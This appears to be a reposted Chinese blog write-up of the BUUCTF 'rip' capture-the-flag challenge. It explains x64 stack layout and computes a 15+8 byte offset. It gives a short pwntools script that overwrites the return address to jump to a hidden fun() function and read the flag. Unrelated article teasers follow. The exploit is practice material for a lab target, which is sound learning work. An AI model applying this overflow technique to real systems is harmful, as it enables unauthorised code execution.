BUUCTF-rip

news2024/9/22 11:40:09

https://www.cnblogs.com/refrain-again/p/15001283.html

看了这个文章 我起码能理解我们栈溢出的目的

在做题之前 我们需要先理解

栈的存储方法

 从上往下看 就能理解入栈

说回这道题目

为什么这道题目是栈溢出

1.查看基本信息

checksec

 file

是kali下的elf文件 相当于windows 的exe
可执行文件

有main()和fun()

我们把他放入ida

2.ida

主函数的代码

 但是我们发现还有一个fun()函数

 找到我们的进门钥匙

我们发现我们是输入 东西 并且作为 s

s 的类型是 char    占15个字节

我们看看我们需要多少才能达到被调用函数的返回地址

就是我们需要多少字节才能 让被调用函数返回

在ida中很明显告诉我们栈底和栈顶是多少了

因为是64 

rdp是栈底 就是高地址   函数结束地址


rsp是栈顶 就是低地址   函数开始地址 压入栈地址

FH = 15字节

从图里能看见 局部变量的压入 就是我们输入的s 占 15字节

但是前面还有一个被调用函数的基地址 就是rbp 我们也要给他构造

但是这个多大呢

因为这道题目是 64 所以 rbp是 8个字节
如果是 32 就是ebp 占 4个字节
所以我们只需要构造15字节的东西填充s 构造8个字节的东西填充基地址 并且把函数返回地址改为fun函数地址即可

我们也要明白 fun函数开始的地址是什么

 得到函数开始地址

0x401186

这样就能返回到fun函数开始地址

执行fun函数

所以我们开始写exp

from pwn import *
p=remote('node4.buuoj.cn',27408)
payload=b'A'*15+b'B'*8+p64(0x401186+1) 
p.sendline(payload)
p.interactive()

输入二进制15个A和8个B 打包小端序的地址 

其中+1是为了栈平衡 (不明白)

如果脚本结尾忘了加p.interactive(),并且交互完程序并未停止的话,程序会直接被杀掉……然后你就会看到调试时总是莫名其妙的sigkill……

p64()发送数据时,是发送的字节流,也就是比特流(二进制流)

 

成功

 cat flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/431650.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ASEMI代理ADI亚德诺AD8061ARTZ-REEL7车规级芯片

编辑-Z AD8061ARTZ-REEL7芯片参数: 型号:AD8061ARTZ-REEL7 −3dB小信号带宽:320MHz −3dB大信号带宽:280MHz 0.1 dB平坦度的带宽:30MHz 斜率:650V/μs 总谐波失真:-77dBc 输入电压噪声&…

Kotlin | 这些隐藏的内存陷阱,你应该熟记于心

作者:Petterp 引言 Kotlin 是一个非常 yes 的语言,从 null安全 ,支持 方法扩展 与 属性扩展,到 内联方法、内联类 等,使用Kotlin变得越来越简单舒服。但编程从来不是一件简单的工作,所有简洁都是建立在复杂…

电子招标采购系统:营造全面规范安全的电子招投标环境,促进招投标市场健康可持续发展

营造全面规范安全的电子招投标环境,促进招投标市场健康可持续发展 传统采购模式面临的挑战 一、立项管理 1、招标立项申请 功能点:招标类项目立项申请入口,用户可以保存为草稿,提交。 2、非招标立项申请 功能点:非招标…

使用SpringAOP的方式修改controller接口返回的数据

1为什么需要修改返回接口的数据? 先看一个关于返回接口数据中包含时间的接口,如下接口中的birth属性,是日期,假设我们不做任何处理,那么在页面,我们看到的将是如下的时间显示效果,这明显不是我…

NVM-无缝切换Node版本

NVM-无缝切换Node版本 如果未使用nvm之前已经下载了node,并且配置了环境变量,那么此时删除这些配置(Node的环境以及Node软件),使用nvm是为了在某些项目中使用低版本的node NVM下载 进入github的nvm readme: https://github.com/coreybutler/nvm-windows…

企业如何利用数据打造新的人才战略?

由于利率上升、能源价格上涨、政治不确定性、全球供应限制以及寻找和资助昂贵人才的问题,企业的优先事项,也就是人们的优先事项,正在以前所未有的速度发生转变。在数据的基础之上迅速做出正确决策,并灵活精准地向他人传达意义。 …

必要的项目管理软件因素

什么样的项目管理软件好?对于一个项目团队来说,从项目开始到项目结束,需要多个部门的配合。每个成员可能会参与一个以上的项目,这通常需要并行的多个项目。据介绍,国外90%以上的项目是用软件管理的,而中国只…

dump 定位分析

在缺少pdb的时候如何分析dump? windbgidaWindbg定位崩溃位置 通过windbg打开dump,并且分析dump !analyze -v 分析: 分析dump: !analyze -v错误原因:读取空指针错误线程:00001e04,可通过命令…

【Linux进阶篇】磁盘及分区

目录 🍁文件系统 🍂虚拟机添加磁盘 🍂磁盘分区方式 🍂分区格式化 🍂挂载磁盘 🍁磁盘高级管理 🍂LVM:逻辑卷 🍃创建PV 物理卷 🍃创建VG 卷组 🍃创建…

说说你对 Webpack 的理解?解决了什么问题?

1、对webpack的理解 简单来说,webpack 是一个用于现代JavaScript应用程序的静态模块打包工具。 当 webpack处理应用程序时,它会在内部构建一个依赖图,此依赖图对应映射到项目所需的每个模块(不再局限js文件)&#xf…

【数据结构与算法】 - 双向链表 - 详细实现思路及代码

目录 一、概述 二、双向链表 三、双向链表实现步骤  📌3.1 C语言定义双向链表结点  📌3.2 双向链表初始化  📌3.3 双向链表插入数据  📌3.4 双向链表删除数据  📌3.5 双向链表查找数据  📌3.6 双向链…

总线仿真与测试工具CANoe介绍(图文并茂)

1、什么是CANoe CANoe是德国Vector公司的一款用于开发、测试和分析单个ECU和整个ECU网络的综合性工具,包括软件和硬件。它在整个开发过程中为网络设计者、开发和测试工程师提供支持:从规划到系统级测试。由于其多种变体和功能能够对不同的项目提供支持,被全球OEM和供应商广…

USB 速度识别

文章目录USB 速度识别低速设备全速设备高速设备空闲状态低速 / 全速设备高速设备SE0SE1USB 速度识别 在 USB host 或者 hub 的每个下行端口(downstream facing port)的 D 和 D- 上分别接了一个 15KΩ 的下拉电阻到地,这样,当端口…

SpringBoot自动装配原理(附面试快速答法)

文章目录SpringBoot自动装配原理1. 从调用SpringApplication构造器方法开始2. 解析启动类4.按需装配4.1 分析dubbo自动装配5. 如果定义自己的starter6. 面试答法SpringBoot自动装配原理 之前面试被问到这个题目,只会答一些spi、AutoConfigration注解、Import之类的&…

《SQLi-Labs》01. Less 1~5

Less-1 ~ Less-5 前言Less-1知识点题解 Less-2题解 Less-3题解 Less-4题解 Less-5知识点题解 sqli。开启新坑。 前言 对于新手,为了更加直观的看到 sql 注入语句,可以在以下文件添加两句: echo $sql; # 将构造的 sql 语句进行输出 echo &qu…

Maven依赖冲突分析和解决

使用maven管理jar包依赖时,可能会出现jar包版本冲突,不同版本的api调用方式可能不同,会出现NoSuchMethodError和ClassNotFoundException问题,甚至编译不通过,如:在common-lang3 的3.8.1版本中MethodUtils::…

Python中的@cache巧妙用法

缓存是一种空间换时间的策略,缓存的设置可以提高计算机系统的性能,这篇文章主要介绍了Python中的cache巧妙用法,需要的朋友可以参考下 Python中的cache有什么妙用? 缓存是一种空间换时间的策略,缓存的设置可以提高计算机系统的性…

Spark 简介与原理

目录标题1 Spark 简介与原理1.1 Spark与Hadoop的区别1.2 Spark的应用场景1.3 Spark的作业运行流程1.4 Spark 2.X与Spark 1.X的区别1 Spark 简介与原理 Spark 是一个大规模数据处理的统一分析引擎。 具有迅速、通用、易用、支持多种资源管理器的特点。 Spark生态系统: Spark SQL…

双榜加冕!加速科技荣登2023准独角兽中国未来独角兽双榜单

4月10日至11日,由杭州市人民政府、民建浙江省委会、中国投资发展促进会主办的第7届万物生长大会在杭州国际博览中心隆重举行。会上,中国投资发展促进会创投专委会、杭州市创业投资协会联合微链共同发布2023杭州市独角兽(准独角兽)…

【高危】vm2 <3.9.16 沙箱逃逸漏洞(CVE-2023-29199)

漏洞描述 vm2 是一个基于 Node.js 的沙箱环境,可以使用列入白名单的 Node 内置模块运行不受信任的代码。 vm2 3.9.16之前版本中,由于transformer.js中transformer函数中异常处理逻辑不够完善,攻击者可通过制造异常绕过handleException()并造…